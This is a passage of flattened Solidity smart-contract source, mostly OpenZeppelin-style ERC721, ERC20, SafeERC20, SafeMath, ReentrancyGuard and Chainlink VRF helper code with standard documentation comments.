owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../math/SafeMath.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; library UselessLibrary { enum Tier { TIER_ZERO, TIER_ONE, TIER_TWO, TIER_THREE, TIER_FOUR, TIER_UNKNOWN } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathChainlink { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed(bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce) internal pure returns (uint256) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view 